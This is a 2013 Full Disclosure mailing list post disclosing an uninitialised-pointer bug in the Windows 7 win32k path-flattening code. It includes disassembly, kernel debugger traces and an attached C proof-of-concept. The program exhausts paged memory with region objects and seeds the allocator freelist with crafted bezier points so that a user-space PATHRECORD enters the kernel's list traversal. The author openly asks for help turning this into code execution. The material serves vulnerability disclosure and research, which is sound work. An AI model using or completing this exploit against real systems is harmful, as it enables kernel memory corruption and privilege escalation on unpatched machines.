Full Disclosure mailing list archives

exploitation ideas under memory pressure


From: Tavis Ormandy <taviso () cmpxchg8b com>
Date: Fri, 17 May 2013 14:26:10 -0700

List, there's a pretty obvious bug in win32k!EPATHOBJ::pprFlattenRec where the
PATHREC object returned by win32k!EPATHOBJ::newpathrec doesn't initialise the
next list pointer. The bug is really nice, but exploitation when
allocations start failing is tricky.

As vuln-dev is dead, I thought I'd post here, I don't have much free
time to work on silly Microsoft code, so I'm looking for ideas on how to
fix the final obstacle for exploitation. I first published details about
this in March, but here's a recap:

; BOOL __thiscall EPATHOBJ::newpathrec(EPATHOBJ     *this,
                                       PATHRECORD   **pppr,
                                       ULONG         *pcMax,
                                       ULONG cNeeded)
.text:BFA122CA                 mov     esi, [ebp+ppr]
.text:BFA122CD                 mov     eax, [esi+PATHRECORD.pprPrev]
.text:BFA122D0                 push    edi
.text:BFA122D1                 mov     edi, [ebp+pprNew]
.text:BFA122D4                 mov     [edi+PATHRECORD.pprPrev], eax
.text:BFA122D7                 lea     eax, [edi+PATHRECORD.count]
.text:BFA122DA                 xor     edx, edx
.text:BFA122DC                 mov     [eax], edx
.text:BFA122DE                 mov     ecx, [esi+PATHRECORD.flags]
.text:BFA122E1                 and     ecx, not (PD_BEZIER)
.text:BFA122E4                 mov     [edi+PATHRECORD.flags], ecx
.text:BFA122E7                 mov     [ebp+pprNewCountPtr], eax
.text:BFA122EA                 cmp     [edi+PATHRECORD.pprPrev], edx
.text:BFA122ED                 jnz     short loc_BFA122F7
.text:BFA122EF                 mov     ecx, [ebx+EPATHOBJ.ppath]
.text:BFA122F2                 mov     [ecx+PATHOBJ.pprfirst], edi

It turns out this mostly works because newpathrec() is backed by newpathalloc()
which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned.

; PVOID __stdcall PALLOCMEM(size_t size, int tag)
.text:BF9160D7                 xor     esi, esi
.text:BF9160DE                 push    esi
.text:BF9160DF                 push    esi
.text:BF9160E0                 push    [ebp+tag]
.text:BF9160E3                 push    [ebp+size]
.text:BF9160E6                 call    _HeavyAllocPool@16 ; HeavyAllocPool(x,x,x,x)
.text:BF9160EB                 mov     esi, eax
.text:BF9160ED                 test    esi, esi
.text:BF9160EF                 jz      short loc_BF9160FF
.text:BF9160F1                 push    [ebp+size]      ; size_t
.text:BF9160F4                 push    0               ; int
.text:BF9160F6                 push    esi             ; void *
.text:BF9160F7                 call    _memset

However, the PATHALLOC allocator includes it's own freelist implementation, and
if that codepath can satisfy a request the memory isn't zeroed and returned
directly to the caller. This effectively means that we can add our own objects
to the PATHRECORD chain.

We can force this behaviour under memory pressure relatively easily, I just
spam HRGN objects until they start failing. This isn't super reliable, but it's
good enough for testing.

        // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
        // failure. Seriously, do some damn QA Microsoft, wtf.
        for (Size = 1 << 26; Size; Size >>= 1) {
            while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
                ;
        }

Adding user controlled blocks to the freelist is a little trickier, but I've
found that flattening large lists of bezier curves added with PolyDraw() can
accomplish this reliably. The code to do this is something along the lines of:

        for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
            Points[PointNum].x      = 0x41414141 >> 4;
            Points[PointNum].y      = 0x41414141 >> 4;
            PointTypes[PointNum]    = PT_BEZIERTO;
        }

        for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
            BeginPath(Device);
            PolyDraw(Device, Points, PointTypes, PointNum);
            EndPath(Device);
            FlattenPath(Device);
            FlattenPath(Device);
            EndPath(Device);
        }

We can verify this is working by putting a breakpoint after newpathrec, and
verifying the buffer is filled with recognisable values when it returns:

kd> u win32k!EPATHOBJ::pprFlattenRec+1E
win32k!EPATHOBJ::pprFlattenRec+0x1e:
95c922b8 e8acfbffff      call    win32k!EPATHOBJ::newpathrec (95c91e69)
95c922bd 83f801          cmp     eax,1
95c922c0 7407            je      win32k!EPATHOBJ::pprFlattenRec+0x2f (95c922c9)
95c922c2 33c0            xor     eax,eax
95c922c4 e944020000      jmp     win32k!EPATHOBJ::pprFlattenRec+0x273 (95c9250d)
95c922c9 56              push    esi
95c922ca 8b7508          mov     esi,dword ptr [ebp+8]
95c922cd 8b4604          mov     eax,dword ptr [esi+4]
kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+23 "dd poi(ebp-4) L1; gc"
kd> g
fe938fac  41414140
fe938fac  41414140
fe938fac  41414140
fe938fac  41414140
fe938fac  41414140

The breakpoint dumps the first dword of the returned buffer, which matches the
bezier points set with PolyDraw(). So convincing pprFlattenRec() to move
EPATHOBJ->records->head->next->next into userspace is no problem, and we can
easily break the list traversal in bFlattten():

BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
{
  EPATHOBJ *pathobj; // esi@1
  PATHOBJ *ppath; // eax@1
  BOOL result; // eax@2
  PATHRECORD *ppr; // eax@3

  pathobj = this;
  ppath = this->ppath;
  if ( ppath )
  {
    for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
    {
      if ( ppr->flags & PD_BEZIER )
      {
        ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
        if ( !ppr )
          goto LABEL_2;
      }
    }
    pathobj->fl &= 0xFFFFFFFE;
    result = 1;
  }
  else
  {
LABEL_2:
    result = 0;
  }
  return result;
}

All we have to do is allocate our own PATHRECORD structure, and then spam
PolyDraw() with POINTFIX structures containing co-ordinates that are actually
pointers shifted right by 4 (for this reason the structure must be aligned so
the bits shifted out are all zero).

We can see this in action by putting a breakpoint in bFlatten when ppr has
moved into userspace:

kd> u win32k!EPATHOBJ::bFlatten
win32k!EPATHOBJ::bFlatten:
95c92517 8bff            mov     edi,edi
95c92519 56              push    esi
95c9251a 8bf1            mov     esi,ecx
95c9251c 8b4608          mov     eax,dword ptr [esi+8]
95c9251f 85c0            test    eax,eax
95c92521 7504            jne     win32k!EPATHOBJ::bFlatten+0x10 (95c92527)
95c92523 33c0            xor     eax,eax
95c92525 5e              pop     esi
kd> u
win32k!EPATHOBJ::bFlatten+0xf:
95c92526 c3              ret
95c92527 8b4014          mov     eax,dword ptr [eax+14h]
95c9252a eb14            jmp     win32k!EPATHOBJ::bFlatten+0x29 (95c92540)
95c9252c f6400810        test    byte ptr [eax+8],10h
95c92530 740c            je      win32k!EPATHOBJ::bFlatten+0x27 (95c9253e)
95c92532 50              push    eax
95c92533 8bce            mov     ecx,esi
95c92535 e860fdffff      call    win32k!EPATHOBJ::pprFlattenRec (95c9229a)

So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS
flags (defined in winddi.h). Let's break if it's in userspace:

kd> ba e 1 95c9252c "j (eax < poi(nt!MmUserProbeAddress)) 'gc'; ''"
kd> g
95c9252c f6400810        test    byte ptr [eax+8],10h
kd> r
eax=41414140 ebx=95c1017e ecx=97330bec edx=00000001 esi=97330bec edi=0701062d
eip=95c9252c esp=97330be4 ebp=97330c28 iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010202
win32k!EPATHOBJ::bFlatten+0x15:
95c9252c f6400810        test    byte ptr [eax+8],10h       ds:0023:41414148=??

The question is how to turn that into code execution? It's obviously trivial to
call prFlattenRec with our userspace PATHRECORD..we can do that by setting
PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation failure
poses a problem.

Let me demonstrate calling it with my own PATHRECORD (this code is attached):

    // Create our PATHRECORD in userspace we will get added to the EPATHOBJ
    // pathrecord chain.
    PathRecord = VirtualAlloc(NULL,
                              sizeof(PATHRECORD),
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);

    // Initialise with recognisable debugging values.
    FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);

    PathRecord->next    = (PVOID)(0x41414141);
    PathRecord->prev    = (PVOID)(0x42424242);

    // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
    // EPATHOBJ::bFlatten(), do that here.
    PathRecord->flags   = PD_BEZIERS;

    // Generate a large number of Bezier Curves made up of pointers to our
    // PATHRECORD object.
    for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
        Points[PointNum].x      = (ULONG)(PathRecord) >> 4;
        Points[PointNum].y      = (ULONG)(PathRecord) >> 4;
        PointTypes[PointNum]    = PT_BEZIERTO;
    }

kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+28 "j (dwo(ebp+8) < dwo(nt!MmUserProbeAddress)) ''; 'gc'"
kd> g
win32k!EPATHOBJ::pprFlattenRec+0x28:
95c922c2 33c0            xor     eax,eax
kd> dd ebp+8 L1
a3633be0  00130000

The ppr object is in userspace! If we peek at it:

kd> dd poi(ebp+8)
00130000  41414141 42424242 00000010 cccccccc
00130010  00000000 00000000 00000000 00000000
00130020  00000000 00000000 00000000 00000000
00130030  00000000 00000000 00000000 00000000
00130040  00000000 00000000 00000000 00000000
00130050  00000000 00000000 00000000 00000000
00130060  00000000 00000000 00000000 00000000
00130070  00000000 00000000 00000000 00000000

There's the next and prev pointer.

kd> kvn
 # ChildEBP RetAddr  Args to Child              
00 a3633bd8 95c9253a 00130000 002bfea0 95c101ce win32k!EPATHOBJ::pprFlattenRec+0x28 (FPO: [Non-Fpo])
01 a3633be4 95c101ce 00000001 00000294 fe763360 win32k!EPATHOBJ::bFlatten+0x23 (FPO: [0,0,4])
02 a3633c28 829ab173 0701062d 002bfea8 7721a364 win32k!NtGdiFlattenPath+0x50 (FPO: [Non-Fpo])
03 a3633c28 7721a364 0701062d 002bfea8 7721a364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ a3633c34)

The question is how to get PATHALLOC() to succeed under memory pressure so we
can make this exploitable, my first thought was have another thread
manipulating the free pool, but I can't figure out how to synchronize
that. Getting code execution should be trivial after this.

I guess it's possible to just race it until we win, but this seems like an
inelegant solution. Anyone have any ideas?

I've been testing under this kernel:

kd> vertarget
Windows 7 Kernel Version 7601 (Service Pack 1) MP (1 procs) Checked x86
compatible
Product: WinNt, suite: TerminalServer SingleUserTS
Built by: 7601.17514.x86chk.win7sp1_rtm.101119-1850
Machine Name:
Kernel base = 0x8280f000 PsLoadedModuleList = 0x82c55430
Debug session time: Fri May 17 14:14:24.723 2013 (UTC - 7:00)
System Uptime: 49 days 16:12:11.803 (checked kernels begin at 49 days)

I assume the same code exists in 8.

Tavis.

P.S. As far as I can tell, this code is pre-NT (20+ years) old, so
remember to thank the SDL for solving security and reminding us that old
code doesn't need to be reviewed ;-)
#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS
#endif
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#include <stddef.h>
#include <winnt.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>

#pragma comment(lib, "gdi32")
#pragma comment(lib, "kernel32")
#pragma comment(lib, "user32")

#define MAX_POLYPOINTS (8192 * 3)
#define MAX_REGIONS 8192

//
// win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase.
//
// Tavis Ormandy <taviso () cmpxchg8b com>, March 2013
//


POINT Points[MAX_POLYPOINTS];
BYTE  PointTypes[MAX_POLYPOINTS];
HRGN  Regions[MAX_REGIONS];
ULONG NumRegion;

// Log levels.
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;

BOOL LogMessage(LEVEL Level, PCHAR Format, ...);

// Copied from winddi.h from the DDK
#define PD_BEGINSUBPATH   0x00000001
#define PD_ENDSUBPATH     0x00000002
#define PD_RESETSTYLE     0x00000004
#define PD_CLOSEFIGURE    0x00000008
#define PD_BEZIERS        0x00000010

typedef struct  _POINTFIX
{
    ULONG x;
    ULONG y;
} POINTFIX, *PPOINTFIX;

// Approximated from reverse engineering.
typedef struct _PATHRECORD {
    struct _PATHRECORD *next;
    struct _PATHRECORD *prev;
    ULONG               flags;
    ULONG               count;
    POINTFIX            points[0];
} PATHRECORD, *PPATHRECORD;

int main(int argc, char **argv)
{
    HDC         Device;
    ULONG       Size;
    HRGN        Buffer;
    ULONG       PointNum;
    ULONG       Count;
    PPATHRECORD PathRecord;

    // Create our PATHRECORD in userspace we will get added to the EPATHOBJ
    // pathrecord chain.
    PathRecord = VirtualAlloc(NULL,
                              sizeof(PATHRECORD),
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);

    LogMessage(L_INFO, "alllocated userspace PATHRECORD@%p", PathRecord);

    // Initialise with recognisable debugging values.
    FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);

    PathRecord->next    = (PVOID)(0x41414141);
    PathRecord->prev    = (PVOID)(0x42424242);

    // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
    // EPATHOBJ::bFlatten(), do that here.
    //PathRecord->flags   = PD_BEZIERS;
    PathRecord->flags   = 0;

    LogMessage(L_INFO, "  ->next  @ %p", PathRecord->next);
    LogMessage(L_INFO, "  ->prev  @ %p", PathRecord->prev);

    LogMessage(L_INFO, "creating complex bezier path with %#X", (ULONG)(PathRecord) >> 4);

    // Generate a large number of Bezier Curves made up of pointers to our
    // PATHRECORD object.
    for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
        Points[PointNum].x      = (ULONG)(PathRecord) >> 4;
        Points[PointNum].y      = (ULONG)(PathRecord) >> 4;
        PointTypes[PointNum]    = PT_BEZIERTO;
    }

    // Comment this line to continue after bFlatten().
    //VirtualFree(PathRecord, 0, MEM_RELEASE);

    // Switch to a dedicated desktop so we don't spam the visible desktop with
    // our Lines (Not required, just stops the screen from redrawing slowly).
    SetThreadDesktop(CreateDesktop("DontPanic",
                     NULL,
                     NULL,
                     0,
                     GENERIC_ALL,
                     NULL));

    while (TRUE) {
        // Get a handle to this Desktop.
        Device = GetDC(NULL);

        // We need to cause a specific AllocObject() to fail to trigger the
        // exploitable condition. To do this, I create a large number of rounded
        // rectangular regions until they start failing. I don't think it matters
        // what you use to exhaust paged memory, there is probably a better way.
        //
        // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
        // failure. Seriously, do some damn QA Microsoft, wtf.

        for (Size = 1 << 26; Size; Size >>= 1) {
            while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
                NumRegion++;
        }

        LogMessage(L_INFO, "allocated %u HRGN objects", NumRegion);


        LogMessage(L_INFO, "flattening curves...");

        // Begin filling the free list with our points.
        for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
            BeginPath(Device);
            PolyDraw(Device, Points, PointTypes, PointNum);
            EndPath(Device);
            FlattenPath(Device);
            FlattenPath(Device);
            EndPath(Device);
        }

        // Clean up the region objects.
        while (NumRegion--) {
            DeleteObject(Regions[NumRegion]);
        }

        LogMessage(L_INFO, "restarting...", PointNum);

        ReleaseDC(NULL, Device);
    }

    return 0;
}

// A quick logging routine for debug messages.
BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
{
    CHAR Buffer[1024] = {0};
    va_list Args;

    va_start(Args, Format);
        vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);
    va_end(Args);

    switch (Level) {
        case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
        case L_INFO:  fprintf(stdout, "[+] %s\n", Buffer); break;
        case L_WARN:  fprintf(stderr, "[*] %s\n", Buffer); break;
        case L_ERROR: fprintf(stderr, "[!] %s\n\a", Buffer); break;
    }

    fflush(stdout);
    fflush(stderr);

    return TRUE;
}
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Current thread: